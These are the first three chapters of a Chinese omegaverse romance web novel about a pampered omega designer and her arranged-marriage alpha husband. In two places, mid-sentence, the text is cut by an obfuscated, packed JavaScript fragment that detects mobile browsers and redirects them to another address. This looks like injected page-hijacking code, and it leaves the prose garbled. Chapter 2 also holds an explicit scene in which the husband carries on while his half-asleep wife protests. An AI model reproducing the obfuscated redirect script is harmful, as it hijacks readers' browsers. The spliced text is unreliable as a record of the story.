《她那么娇[BG]》 1. 第1章 #文月与男子巴黎同游 #君庭少东家酒店 #文月秦家少夫人 “啧啧。”小唐端着咖啡从外边进来,见阮宜也在看热搜,禁不住搭了句话,“没想到咱大老板居然能看上文月。” 阮宜闻言放下手机,掏出镜子补了个妆。 然后,才不紧不慢地回道:“是吗?” 哑光红棕色在她的唇间慢慢晕开,这颜色挑人得很,容易显得生硬冷沉。可偏偏阮宜肤色白得像块粉玉,又生了张昳丽的面容,在她脸上反而更衬精致,还多了几分妩媚惑人。 这可比什么文月好看太多了! 虽然阮宜这张脸已经看了很久,但是小唐还是没法免疫。长得勾人不说,气质还分外优雅,仿佛一只最名贵的布偶猫。 即使他与阮宜同为omega,都有点抵挡不了这种美貌。 来他们广告部当个副总监简直屈才啊,阮宜这样的omega天生就应该被最优越的alpha宠着才对。 想起这个,小唐继续道:“据说大老板是看中她的信息素了。” 文月是在去年一档设计师的职业综艺火起来的,因长相漂亮、表现出色,家世亦是传闻来头不小,很快成了当下最火的网红之一。 按理来说,网红攀上豪门实属困难,更何况还是执掌君庭的太子爷秦深。像小唐和阮宜所在的启明珠宝,已然是珠宝界的翘楚,却也只是君庭时尚支线业务下边的一个公司罢了。 因此,网友都在猜测秦深怎么看中文月的。而其中最可信的猜测,就是文月当时在节目里透露出的,自己身为omega的特殊信息素。 毕竟,虽然同为omega,但是信息素可大不相同。像什么火锅味、榴莲味,这种就不用说了,真正评级高、感染力强的还是例如花香型这种气味雅致的。 “据说文月的信息素是白茉莉,”小唐神秘兮兮地推断道,“说不定就能让大老板信息素波动呢。” 这一点倒是众人皆知,传闻秦深继承了秦家的alpha血脉,手段更是如出一辙乃至更甚的冷血果断,连信息素都冷漠非常,不带丝毫波动,被坊间称为“暴君”。 刚接手秦家那两年,还有人觉得他怎么也是个血气方刚的年轻alpha,少夫人做不成,捞个情人那也是泼天富贵。 结果,费尽心思送去的小o,别说跟着进酒店房间,连秦深袖子都没碰到就被扔了出来。 大冬天,那么一个娇嫩的omega小模特就被扔在雪地里,浑身穿得还没比基尼多,因为用药的缘故,信息素的味儿直冲酒店大堂。 有把持不住的alpha当场就赶紧喝了抑制剂,而当事人秦深半点信息素波动也没有,甚至看得出来的表情只有厌恶,后边更是通知行业封杀了这个模特。 见阮宜一脸兴致缺缺,小唐不甘心地补充道:“所以,指不定大老板就吃这种清新款花香信息素呢!” 阮宜抿了抿唇,微笑道:“是吗,那他品味可真差。” 小唐:“……” 他怎么忘了这位大小姐可是玫瑰信息素。 算了,人家这种典型的珍稀型信息素omega,永远不懂他们这种平凡o的苦涩啊。 毕竟他的信息素,只是该死的胡萝卜味。 “但我看过那档综艺,同为广告人的直觉告诉我,这个文月真的很装。” “而且,她那个长相配我们大老板太寡淡了。”小唐叹了口气,又盯上了阮宜,突发奇想,“要我说,就应该让你去征服大老板。” 连他一个omega都抵抗不了,不敢想象alpha得有多躁动。 阮宜一年前刚来到启明,就有一堆alpha蠢蠢欲动,没事就来他们设计部献殷勤,信息素杂到仿佛到了竞技场,直到阮宜不高兴了发脾气,这群人才有所收敛。 说来这位大小姐也是奇怪,无论是模样还是信息素,都是无可抵赖的珍贵omega,可偏偏对那些alpha信息素毫无感觉。 偶尔她忘记阻隔信息素的时候,别说alpha和omega,就连没有腺体的beta,都能感受到她身上那种芬芳。 一旁的阮宜美美补完了妆,重新拿起手机刷了下热搜。 刚才还飘在高位的词条全部没了,即使再点进去搜索,也一点痕迹也看不到。 小唐正盯着阮宜思索呢,正好看到她刷词条刷不出来,哇了一声道:“妈耶,这么快就撤热搜了……” 秦深平常深居简出,别说露面了,就是网上的正面照片都没有几张。 见热搜被光速撤掉,阮宜漫不经心嘟哝了一声:“还算明白。” “嚯,文月居然出来回应了,说只是凑巧而已。”小唐念着念着觉得奇怪,“谁家辟谣声明这么发,怎么听起来误会更大了……” 小唐越看越无语,眼睛都瞪圆了:“而且她粉丝怎么还在评论区祝福?上次和那个男星传绯闻的时候,粉丝还一副瞧不上的模样,现在传闻做少夫人,反而个个祝福上了。” 小唐正要义愤填膺地骂两句这女的蹭热度,阮宜的手机屏幕忽地飘出一个来电,备注显示“狗男人。” 小唐:? 下一秒,就看阮宜轻飘飘地伸出玉白的手指,点了挂断。 甚至非常干脆地把这个“狗男人”拉进了黑名单。 小唐小心翼翼:“这是谁啊?不接吗?” “没看到备注吗,”阮宜呵呵一声,“是狗。” 还是那种品味很差的狗。 当然,咬她的时候是例外——品味很好。 * 晚上,部门在云水湾聚餐。 为了庆祝他们一组打败二组、拿下了一个大单,总监琳达出了血本,特地请大家来这家京市最大的中式会所。 据说随便开瓶酒,人均消费就直接往万儿八千飚了。 小唐还是第一次来云水湾,跟刘姥姥进大观园一样,对这边古色古香的装修看得啧啧惊叹。 而再看旁边的阮宜,一副漫不经心甚至心不在焉的模样。 按理来说阮大小姐是不会牺牲自己的美容觉时间来参加聚会,但是今天不知怎么的,小唐习惯性问了后等着被拒,结果阮宜马上就答应了。 应该说,从今天下午讨论文月那事开始,阮宜就不太对劲。 “小宜,”小唐把那盘酥黄独转过来,试探性地寻问道,“你要不要吃点?” 阮宜随意点了点头,夹了一块放在盘子里。她还在回想,刚才在云水湾门口见到的那道颀长的身影,似乎有些眼熟。 可是那人……不是还应该在法国吗? 阮宜想得心烦意乱,干脆借口透气出了包厢门。 走廊灯光昏暗,她踩在软绵的地毯上,慢悠悠往露台那边走去。只是刚转过拐弯处,就听见一道不合时宜的女声响起。 “秦总您好,这次真是不好意思。都怪我没提防狗仔偷拍,还牵连到了您。” 阮宜的红底高跟略一停顿,她轻轻歪头,借着昏黄的顶光,看向面前这出好戏。 不远处站着一男一女。 女人穿着一身性感抹胸长裙,却与那张清秀淡颜的风格半点不搭,声音温柔饱含歉意,正是今天热搜八卦的女主角,文月。 她语气温柔:“不知可否有这个机会,能请秦总吃顿饭。” 而男人斜身靠在墙上,西裤和衬衣一丝不苟,衬出他周身疏冷的气质。 在昏黄的光下,他的神情并不分明,却已然能看出那张侧脸异常清俊…… 以及,熟悉。 哦,原来是她半月未见的老公啊。 阮宜若有若无地哼了一声,那边男人便似乎察觉到什么,微微侧头看了过来。 他生得一双狭长的丹凤眼,瞳色极深。一瞬对视,便足以让人领略到其中的冷情和深邃。 阮宜毫不客气地对望回去。 而那人眸光冷淡地回望,落到了她瓷白的小脸上。 文月还没留意到面前的男人早已分了心神,仍然含羞带怯地向他解释原委。 说实话这次被拍确实是个意外,给她几百个胆子也不敢攀附君庭的掌权人。但是既然意外发生了,好好利用才是她文月的风格。 她早已打听过,秦深虽然已婚,但也只是豪门形式婚姻,与太太并无感情。 作为一个有着白茉莉信息素的omega,文月自信她对alpha的吸引力。 男人嘛,偷个腥都是正常,更何况是这等天之骄子Alpha。 即使眼前的alpha并没有释放信息素,但是因为Alpaha天然的压制力,她还是能够感受到那种强势和威压。 她甚至有些后悔昨天吃了腺体阻隔药,不然说不定还能成了好事。 半晌没听见男人的回应,文月羞怯抬头,正要开口说点什么,也好顺势释放出一些信息素。 只是不待她动作,那边就涌来一股极为浓郁的玫瑰气息。随之而来的,是一道娇软又悦耳的声音:“应该不会有机会哦。” 女人一袭红色吊带长裙,收腰包臀的设计,勾勒出玲珑的身姿。 一双白臂如玉,骨肉匀亭,起伏有致。 面容美艳到极致,却偏偏杏眼浑圆,神情更是矜贵娇气,气质添了几分纯欲。 无论是同为omega还是同为女人,文月都感受到了前所未有的危机感。 阮宜在一阵香风中走了过来,站立停住,毫无顾忌地释放自己的信息素。 甚至像小兽占有欲发作一般,似乎企图侵染秦深。 众所周知omega的信息素对alpha有着难言的吸引力,更何况是这样的omega。 只是圈子都明白秦深不同,一是洁癖严重,最厌恶散发信息素来勾引他的小o;二是冷心冷情,半点不会被omega唤起信息素波动。 像这种手段拙劣的勾引,恐怕不出五分钟就会被扔得远远的。 文月心里不屑,面上却十分客气:“这位小姐麻烦收敛一下信息素,你可能不清楚,秦总一向不喜欢omega随意……” 还没有说完,她面色一凛,似乎是受到什么威压一般,再也开不了口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114125|164148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一股极为沉厚的乌木沉香气息,缓缓涌进空气中。 这种顶级信息素一旦释放,对于任何其他alpha都是致命压制,更不用说omega了。 文月痛苦地咬紧了唇,无力地背靠住墙,才不至于瘫在地上。 但乌木沉香的信息素并未理会她,只是带着几分柔和、慢慢地缠住了,原先空气中的玫瑰信息素。 直至将玫瑰气息悉数包裹进乌木沉香的领域为止。 既是对怀中omega的保护,也是对胆敢觊觎他的omega的震慑。 明明对她没有任何攻击意图,但是阮宜还是有些软了脚。太久没闻到熟悉的信息素,生理上和心理上的依赖感格外强烈。 秦深黑眸幽深,一把搂住那纤细的腰肢。让她倚在自己怀里,淡声开口。 “项链呢?怎么没戴。” 他指的是之前请设计师为她订制的,用以阻隔信息素的项链。 小姑娘绵软地哼了两声,一双白皙的手臂自然地攀上男人的脖颈。被信息素紧紧的包裹着,她舒服得不想说话,哼了两声道:“没戴。” 刚好今天忘记带了,不然怎么释放信息素,让文月知道这可是她阮宜的男人。 “下次记得,”秦深不轻不重地警告她,“不许在外人面前释放信息素,即使是omega也不行。” 这男人占有欲真是非一般地强,连她释放信息素都要管。 阮宜嘟了嘟嘴,晃着小脑袋嗯了两声。 随后低头瞥了文月一眼,一副狐假虎威的架势:“看来是你不清楚咯,秦总挺喜欢的呀。” 文月还不死心,看向那边的男人,试图获得几分垂怜。只是男人正把玩着阮宜那细软的腰肢,从头到尾半个眼神也没给她。 她顿觉难堪,然而被alpha信息素压制,动弹不得,十分狼狈。 秦深没有耐心和无关人士纠缠,见阮宜发够了脾气,便抱着怀中的温香软玉,穿过走廊进了停车场。 一辆银色宾利已经等候良久。 总助穆阳低头叫了声“太太”,十分上道地替夫妻打开车门,又回到驾驶座上。 秦深将怀中的娇软放到座椅上,随即从另一方向坐了进去。 片刻后,他又拿过身上的西装,不容置喙地裹住阮宜:“披上。” 黑色的西装长至阮宜腿弯,让那一身雪白的肌肤不透露分毫。 走出文月的视线之后,阮宜就变了一副脸色,小嘴噘得仿佛能上天。 她冷哼一声:“我才不要。” “我是你的谁啊,就来管我。” 阮宜像只小河豚,气鼓鼓道:“和别的女人上热搜,你去管她好了。” “夫人,这是我的工作问题。”穆阳是个工作勤奋的beta,见状连忙替老板解释。 “绯闻完全是空穴来风,秘书处秦总和那位文小姐素不相识,也是我们秘书处没有及时关注舆情波动,才致使谣言上了热搜。” 事实上,像秦总这样不刷微博的人……还是直到他汇报处理结果后,才知道自己原来还出了这么一桩“绯闻”。 阮宜面色好看了些,但还是鼓着腮:“和我解释干嘛?回国都不告诉我,我不是秦太太。” 秦深眉目疏朗,淡声开口:“半个月不见,秦太太的记忆就退化到这个地步了。” 阮宜哼了一声,扬过小脑袋。 “那这枚送给秦太太的粉钻,看来也送不出去了.” 他话音未落,那个小脑袋就火速转了回来。 “什么粉钻!” 丝绒礼盒里,一颗硕大的粉钻切割华丽。 刚才还有点通红的眼圈瞬间明媚,阮宜娇笑一声:“是Graff粉钻!” 不久前出现在苏黎世的拍卖行,据说是位神秘卖家得了,不成想原来就是她这位便宜老公。 粉钻的力量显然比“老公”有用得多。 驾驶座上的穆阳暗暗咋舌,要拍下这八千五百万的粉钻,老板在巴黎忙得昏天暗地还不忘亲飞苏黎世,这会儿为了哄人说送就送。 果然这等名门出身的大小姐,不是一般人能供养得起的。 秦深手指微叩,不紧不慢合了盖子,已经有要收回的模样:“既然秦太太不想要……” “谁说秦太太不想要的!”阮宜傲娇地点点头:“本来我也觉得你有一个仙女老婆,品味肯定不会那么差。” 毕竟,说生气她倒也没有多生气。 他们只是联姻关系,没有情感基础。只是这事闹出风波,会让阮大小姐很没有面子。 即使是塑料夫妻,维持起码的恩爱样子还是要有的。 “不过,”小姑娘凶巴巴地又问道,“为什么回国也不告诉我一声?” 秦深拧了拧眉,低声道:“和你发了报备信息,说要回国,结果——” 他慢条斯理拿出手机,亮出页面:“发出去,才发现被秦太太拉黑了。” 三个鲜红且巨大的感叹号。 话一落地,面前的人儿委屈的神情倏然僵住。 阮宜:“……” 2. 第2章 车子一停,阮宜就慌忙推门下车。 带着委屈又带着尴尬……以及理直气壮的不好意思。 直到看见芳姨,她才猛然发觉,这里不是她在京市的独居别墅,而是华宫。 她和秦深的婚房。 华宫一向号称是有价无市,而他们的婚房更是与其他别墅相隔甚远的独栋庭院。 从选址、布景到装潢,全都依了阮宜的喜好。 不过他们结婚半年以来,秦深忙着开拓国外版图,不常居家。 而她也没住多久,就去了离启明更近的北部湾别墅。 那是当年秦深送她的成年礼。 上次秦深出差的第二天,她就毫不犹豫去了北部湾。 毕竟,对于他们这对塑料夫妻,很显然没有必要搞什么妻子望夫的深情桥段。 但芳姨显然很乐意看到小两口甜蜜回家的场景,十分自然地接过她的Kelly包包,留意着那边从容下车的秦深,笑眯眯道:“少夫人和少爷回来啦。” 她是从老宅那边过来的佣人,是个性格温柔的beta。祖籍和阮宜一样,同是海市,做得好一手本帮菜。 当初,是老太爷亲自拨人过来,特地照顾他们这对新婚小夫妻,尤其要照顾好她这个少夫人。 阮宜嗯了一声,跟着芳姨走进去。 虽然才发现开到了华宫,不过既然秦深回来了,她也确实没有再去北部湾的必要。 阮宜踢开高跟鞋,赤足走上楼梯,准备先舒舒服服泡个澡。 秦深在她后头不疾不徐进来,手臂还搭着阮宜刚才扔在车里的西装。 芳姨连忙从他手中拿过,应道:“少爷回来了。” “嗯。”秦深看向地上乱摆的高跟鞋,眉头略一跳动,“天气凉了,明天让人来铺地毯。” 芳姨点头:“好的。” 等到阮宜泡完澡下楼的时候,秦深已经沐浴完,坐在桌子旁边喝汤了。 脱下一丝不苟的衬衣,换成了墨绿的家居服,但周身冷淡的气质并未因此减弱半分。 她蹬蹬蹬下楼,凶巴巴地盯着他:“你怎么吃饭不等我!” 虽然她确实……泡了很久。 “没有,”秦深:“只是在喝汤。” 只是并未点出这个“没有”,是没有开饭,还是没有不等。 阮宜还算满意地坐下,不算长的真丝吊带裙微微上提,露出粉白得可爱的膝盖和一双纤细小腿,身上还飘着浓郁的玫瑰香气。 坐在那里,宛若一块可口得要命的糕点。 omega的信息素对于alpha有致命吸引力。 况且,还是半个月没有标记过的、他的合法omega。 秦深轻轻地呷了一口汤,眸色微深。 小omega莫名嗅到不安的气息,警惕地看了一眼坐在那边的alpha。 见他神色自若,并未有什么异常。 阮宜眨了眨眼,放松下来,小口小口喝着她的虫草养颜汤。 “你的发情期是不是快到了。” 男人的声音气定神闲地响起。 阮宜脸一红,嘴硬道:“没有!” omega成年以后,每个月会有一或两次的发情期,持续三四天左右。 身体会进入结合热状态,释放omega信息素,以诱惑alpha信息素波动进行安抚。 身边没有alpha的omega,如果遇上发情期,可以选择抑制剂、阻隔贴及颈环,能够进行暂时的抚慰。 但是对于阮宜这类已婚omega,毫无疑问就是她的alpha进行安抚了。 发情期不严重的话,进行临时标记,如释放信息素、拥抱、亲吻以及再进一步都可以; 发情期严重的话,就需要咬痕标记和永久标记了。 而秦深这个讨人厌的家伙,明明她发情期不算严重,但每次都要借着的名义“安抚”好久! 阮宜还记得婚前,秦深倒还颇有传言中信息素从不波动的模样。 向来克制守礼,在一个与他基因匹配度为100%的omega面前,也从来未曾失了绅士风度。 结果婚后,这厮开荤之后简直不是人。清心寡欲,只有那个欲字是对的。 上次秦深离开之前,正巧是她这个月的第一次发情期。明明第二天就要赶飞机,他还那么重地折腾她。 仿佛是将未来半个月的欲望,都发泄在那一晚上。 她感觉自己就像一颗被剥了皮的荔枝,被他反复地吸吮啃咬。 第二天秦深倒是神清气爽地走了,留下阮宜累得睡到下午才醒,本来她的信息素是玫瑰味,却被浑身侵染上了浓重的乌木沉香气息。 阮宜都没好意思去上班! 毕竟乌木沉香的信息素气息太罕见,她可不想被人察觉她是秦家少夫人的事情。 芳姨从厨房端出一盘,事无巨细地向秦深汇报阮宜这半个月来的生活起居。 也不知道是不是离开前那顿饭做得格外有效果,即使离开了自己的alpha半月有余,阮宜的状态也还是挺好的。 秦深黑眸微沉,道:“晚上让家庭医生过来检查一下。” 芳姨点头应下。 阮宜被他们聊得小脸通红,饭都没吃完就蹬蹬回了主卧。 这边虽然半个月没有人住,但还是整洁依旧。花瓶里摆放着中午从法国空运来的朱丽叶玫瑰,是阮宜最喜欢的花类。 她从小性子骄横,因为自己信息素是玫瑰,身边就一定要出现各式各样的玫瑰。 结婚之后更没收敛半分,把婚房装扮得像个玫瑰园,香气飘出十里。 当时秦深皱了皱眉,到底也没拦着她。 这会儿他多半去了书房。 阮宜随手拿过一本漫画,在绸缎床单上打了个滚,舒舒服服地看了起来。 眼神无意瞥到墙上的那幅油画。 还是当初二人订婚的时候,她外祖父特意绘来送他们的礼物。 她和秦深的这门婚事由来已久,是小时候便订下的婚约。 两家来往不多,再加上阮宜又患有信息素紊乱症。 这类病症的omega信息素不稳定、容易外溢,但是对普通alpha信息素的反应却又很迟钝,只有基因高匹配度的alpha才能有效安抚。 所以,要是她和位高权重的秦家联姻,多半会在婚姻里受委屈。 因此,阮家都打算让这门婚事黄了便罢,另择一个家世普通、好拿捏的高匹配度alpha,照顾阮宜一生便是。 谁知阮宜成年那天,秦家老爷子带着秦深上门,带来的重礼除了为她庆贺成年以外,也很是郑重地提出履行婚约。 秦深的alpha信息素等级太高,必须要找基因匹配度高的omega。 而在基因库里匹配之后,竟然意外就匹配到了阮宜,匹配度甚至高达100%。 这一纸婚约,顿时变得顺利了。对阮家而言,既能借了秦家的权势,还又给阮宜找了一个高匹配度alpha。 因此,这门婚事也就顺理成章地结了下来。 但若是说起了解,阮宜心想其实她并不怎么了解秦深。 她还在英国上学的时候,秦深已经坐上掌权人那把交椅。订婚之后,除了必要的日子会出面以外,平日皆是公事繁忙。 结婚半年以来,两人见面还不如在床上的次数频繁。 不过,豪门联姻多是如此,阮宜也并不意外。 正想着,芳姨敲了敲门,轻声道:“少夫人,医生已经在楼下等着了。” 家庭医生刘明归给阮宜进行了简单的检查。 有了alpha安抚,她的信息素紊乱症倒是好了不少。 至少,不会像婚前那般无意识散发信息素,她又是顶级omega,以前动不动就能激得alpha发狂。若不是有阮家护着,阮宜这样的omega,很容易便被心怀不轨的人看中。 只是她依然对alpha信息素仍然反应不明显,唯独对于秦深的信息素十分敏感。 好在如今婚后有了安抚发情期的alpha,腺体保持在稳定状态,不会影响日常生活。 “少夫人情况一切都好,”刘明归收起检测试剂,“信息素很稳定,记得按时佩戴项链抑制器。” 只是检测这一小会儿,他一个腺体已经开始退化的中年omega,都感觉有点抵御不了阮宜的信息素。 秦深从楼上走下来,淡声开口:“也给我检查一下吧。” alpha尤其是秦深这种强a,检测的手续便要麻烦许多。 刘明归看了一眼结果,说:“少爷的信息素很稳定。” 秦深慢条斯理问道:“没有波动吗?” 刘明归又看了一眼检测结果。 他是从小照顾秦深长大的,一直了解他的身体状况。 外界传言秦深的信息素毫无波动,的确不是假的。只是比起普通的异常来说,似乎更像是对信息素有着格外强大的掌控力。 按理来说,越强大的alpha越有可能受到信息素干扰,甚至生理沦为信息素驱动的奴隶。 与更强大、更有震慑力相对应的,也会更狂躁、更易怒、更容易被omega刺激。 但是在秦深身上,却从未表现出这种负面效果。 反而,秦深一面继承了秦家alpha骨子里的强势; 另一方面,却也有一种冰山似的冷漠,仿佛从来不会波动。 “不过,”刘明归还是补充了一句,“比起婚前来说,近半年的信息素指标有明显的上升。” 他斟酌着又问了句:“还是没有进行永久标记?” 阮宜脸一红。 秦深却是坦然:“嗯。” 他们之间的床事很频繁,但是每次到最后关头,阮宜都哭着不许让他成结标记。 对于omega来说,一方面成结标记的过程会很难受,特别是顶级alpha,过程往往需要持续很长时间; 而另一方面,永久标记便意味着无法清洗,此后她将彻底属于这个alpha,腺体和生殖腔在很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114126|164148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长一段时间内都会明显被alpha的信息素所浸染。 阮宜对此一直有些说不清的惧怕,秦深便也没有勉强她。 虽然不理解少爷的做法,毕竟alpha天性就是掠夺和占有,但是刘明归还是点点头说:“尽快提上日程,平时也需要保持ao定期的结合抚慰。” 医生暗示得很委婉。 秦深也自然地应了一句:“会的。” 唯独一旁的阮宜,轰的一声小脸瞬间通红。 啊啊啊啊啊啊啊! 秦深讨厌! 她再也不要理他了! 阮宜像小兔子似地跑上二楼主卧,把自己埋在被窝里,死死不想抬头。 有开门的声音响起,随之而来是男人的脚步声。 阮宜赶紧把自己又往被窝里埋了埋。 要是秦深和她搭话,她绝对一句也不会回! 只是可惜,秦深并没打算关怀那团拱起。 径直进了浴室。 过了一会儿,便是时断时续的流水声。 听着流水潺潺的声音,方才还在心里想着要大战秦深八百回合的阮小公主,不知不觉就枕着丝绸布料包裹的蚕丝被睡过去了。 睡到昏昏沉沉的时候,阮宜只感觉身上一轻,好似被剥开了层层茧皮。 她有些晕乎乎地睁开眼。 就看见男人正慢条斯理地将她身上的被子抽离。 阮宜还没完全清醒,只感觉身上轻快很多。 很礼貌地开口:“谢谢呀。” 嗡嗡的带着鼻音,听上去就格外绵软。 秦深的动作停驻了一瞬。 随后,带着凉意的手指略过她的大腿,大掌贴上了滑至腰际的真丝睡裙。 睡裙材质极薄,男人温热大掌略一用力,便烫得她微微一缩。 阮宜嗯哼了一声,一派天真道:“脱了被子就好,不用再脱了呀。” 秦深默不作声,骨节分明的手指已经慢慢下滑。 她被他拨弄得越发晕沉,只剩下残存的理智:“别呀,不是说了我没到发情期嘛。” omega试图挣脱alpha的钳制,身体却已然有些发软,甚至燥热。 “嗯。”秦深低头轻抚那泛粉的腺体,向来低沉的声音也带上一丝喑哑。 “医生说了,要定期ao结合。” 他不再给她抵抗的机会,手指挑逗之间,Omega仿佛成了软绵绵的甜水。 乌木沉香和玫瑰的信息素霎时在房间里交缠起来。 以及,还有一丝若有若无的甜酒味。 * 阮宜再醒来的时候,已经是将近中午。 房间里尽是欢好的气味,她身上也满是艳红的吻痕与指痕。 这男人真是属狗的。 阮宜恨恨地咬了一口被角。 昨天做到什么时候她都没印象了,只记得后边被秦深哄着各种姿势…… 看着有多正人君子,在床上就是个衣冠禽兽。 不过想起自己也在他背后划了好几道痕迹,阮宜又觉得十分出气。 她伸了个懒腰坐了起来,身上还是酸痛不止。 昨夜刚换的烟粉睡裙已经被秦深撕成了碎片,连带着小裤也破破烂烂的,摆在椅子上桌子上地上哪儿都有。 不敢想象一会儿佣人进来打扫的时候……她有多丢脸! 阮宜呼了一口气,连忙从衣帽间随手抽了件高领衬衣。 刚下楼,芳姨正乐呵呵地往外端菜。 看到阮宜,说道:“小宜醒了,来吃饭吧。” 阮宜打了个哈欠:“秦深呢?” “一早就去公司了,说晚上再回来吃。” “哦。”阮宜噘了噘嘴。 穿上裤子就不认人了。 工作……工作能像她一样让他这么爽吗。 说起工作她猛然想起:“我忘请假了!” 这都中午了! 琳达不得气死啊…… 阮宜虽然娇惯了点、脾气大了点,当时进启明也是一时兴起,但既然担了职位,她也没打算使少夫人架势,都是认真上下班完成工作的。 结果秦深出差回来,就让她丢这么大的人呜呜呜…… 芳姨连忙解释:“少夫人放心,少爷今早已经帮你请过假了。” “啊?” 阮宜睁圆了杏眼:“他帮我请的吗?” 芳姨:“早上少爷打的电话呀。” 他什么时候知道了琳达的联系方式…… 阮宜眨了眨眼,祈祷琳达千万别听出来是秦深。 她小声道:“还算有点人性。” 芳姨没听到她的嘟哝,抬手指了指餐桌旁边的礼盒。 “对了,今天少爷临走前,嘱咐给少夫人留下这个,说是特意从法国带回来的。” “是吗?” 没想到除了粉钻,还有其他礼物。 阮宜美滋滋地拿过礼盒,刚一看清里面的东西,白皙的脸儿就红了小半张。 怎么是……玫瑰甜酒! 3. 第3章 作为一个珍贵的omega,阮宜对外宣称的信息素确实是玫瑰香气。 但其实少为人知的是,准确来说,她的信息素应该是玫瑰酒。 事实上,她也是直到结婚后,做那档子事的时候,才被秦深察觉到信息素有异。 每次……到了的时候,身上便会溢出甜丝丝的酒味儿。 医生给看过之后,确定了没有什么问题,本来omega的信息素在与alpha结合之后,就有可能受到刺激而发生变化。 而阮宜,偏生就遇到了这种变化。 其实是情绪起伏的时候,信息素就会有异。只是阮宜性子张扬骄纵,谁也不敢惹她,少见有什么生气的时候。 而阮大小姐作为人生赢家,也见多了珍奇宝贝,更很少有什么特别高兴的时候。 于是难得在床上……才会有这种情绪变化明显的时刻。 然后,那只大尾巴狼就总是在床上拿这个打趣她! 现在,还明晃晃地送她玫瑰甜酒! 阮小公主的脸都要烧起来了。 芳姨见她一直盯着礼盒,连忙过来问道:“怎么了?” “没事!”她迅速地把礼盒合上。 芳姨没觉出不对,还说道:“少爷说了这是滋补用品,特意给你补补身子用的……” 想起昨晚他附在她耳边,带着贪欲的言语。 阮宜小脸越来越烧。 他……怎么这么不要脸! 阮宜打断芳姨,瓮声瓮气地开口,“把它放起来,放到一个我永远也不会看到的地方!” “不对,还有秦深,他也不能看到!” * 下午阮宜来到公司的时候,琳达去高层开会了,办公室里正热火朝天地说着什么。 阮宜慢悠悠走到工位,先把包放下,对着化妆镜补了个妆。 虽然在家里喷过信息素去味剂了,但是以防万一,阮宜还是又在腺体处贴了张阻隔贴。 秦深的信息素和他人一样,强势又凶狠。 每次标记之后,总是把她弄得浑身都是他的气息。 旁边的小唐凑过来看她,一脸关怀道:“休息好了吗?” 阮宜脑子闪过不妙的猜测:“什么休息?” “你今天不是请假说昨晚运动过量抽筋了吗?” 小唐和她解释,琳达接电话的时候,正好在茶水间接水,他就听到了几句。 阮宜瞪大眼睛:“运动过量?” 这个大尾巴狼倒是真会编。 还不是都要怪他。 她连忙绕过这个话题:“说起茶水间,我们去接个咖啡吧,下午刚来有点困。” 好在小唐被她转移了注意力,愉快地端起杯子:“行啊走吧。” 两人正要走出办公室,旁边的甄妮酸溜溜开口:“小唐,你每次在阮宜身边就像伺候大小姐一样,什么时候也伺候一下我们呗。” 甄妮是二组的副总监,一向跟他们一组不对付。 她这话说得阴阳怪气,小唐有点尴尬地挠了挠腮,不知怎么开口。 小唐和阮宜是同期进的启明,虽然前者是职员后者是副总监,但是关系来往亲密。 阮宜倒也没有主动开口“吩咐”他,只是这位大小姐实在太生活白痴,小唐看不过去都会帮忙。 就像人总会忍不住伺候猫主子一样,阮宜有一种想让人把她捧在掌心里还觉得荣幸的魔力。 况且,阮宜平时又是送他这个请他那个的,要是真的做大小姐的跟班,她倒是还很愿意呢…… 一向只有别人让着阮宜的份儿,阮宜对甄妮自然半点没忍让:“你是做多了别人跟班才看谁都像跟班吧?眼力见这么好,不如你来伺候大家?” 都知道同为各组的领头人,甄妮却无论是职位还是能力都不如琳达,只不过跟部门老大孙经理走得近,才被提拔了上来。 阮宜又是南方人,讲话仿佛呢哝软语,阴阳怪气起来更是效果翻倍。 甄妮被她怼了个回马枪,一时语塞,满脸通红。 一年前阮宜刚来的时候,空降就成了设计部的副总监,再加之众人一看是个浑身散发矜贵气质的omega,都在猜测这是哪位千金大小姐微服私访。 结果,眼瞅着半年过去了,阮宜除了娇气点、神秘点、脾气大点,位置愣是一点都没动,干活做事也没什么架子,慢慢地众人那种敬畏也就消失了。 但甄妮偏偏觉得是被阮宜骗到了,是她故意假装大小姐才让别人相信。虽然阮宜没有直说自己是不是,但是那副架子不就是在暗示别人吗? 一下子就显得,阮宜刚来那会儿,她一个老员工又是送礼又是讨好,跟个小丑似的。 而且阮宜空降就是总监,相当于本来等着孙经理退休琳达上位、就可以等着升职总监的甄妮,平白多了个竞争者。 此后,甄妮就记恨上了她。 完全忘了,阮宜其实从来没收过礼物,脾气对谁也都是一直那样。 半点没把甄妮的脸色放在眼里,阮宜如玉似的瓷白小脸,微微漾起一个笑。 “甄副总监慢慢想吧,我们先出去了。” 小唐跟在阮宜后边,火速溜出去了。 甄妮被气得面红耳赤,知道办公室众人都在看她的笑话,忍不住嚷嚷道:“神气什么啊!等过两天真的大小姐来了,看她有什么好果子吃!” 阮宜没听见甄妮的话,款款地去了茶水间。 启明对员工的待遇很好,茶水间也是咖啡饮料茶水一应俱全。小唐没那么挑剔,随意在咖啡机接了杯拿铁。 阮大小姐不想喝这种在她看来和速溶没差的咖啡,只得倒了杯柠檬苏打水,嘟哝了句:“早知道请你喝下午茶了。” 连她最喜欢的凤凰单丛也没有,不开心。 小唐要是知道她心里的想法,八成得惊掉下巴。谁家好人公司这么阔气,在茶水间放上万一两的茶叶。 他叹了口气,还在想刚才的事情:“也不用和甄妮呛嘛,反正她也是说说。万一她给你使绊子怎么办?” 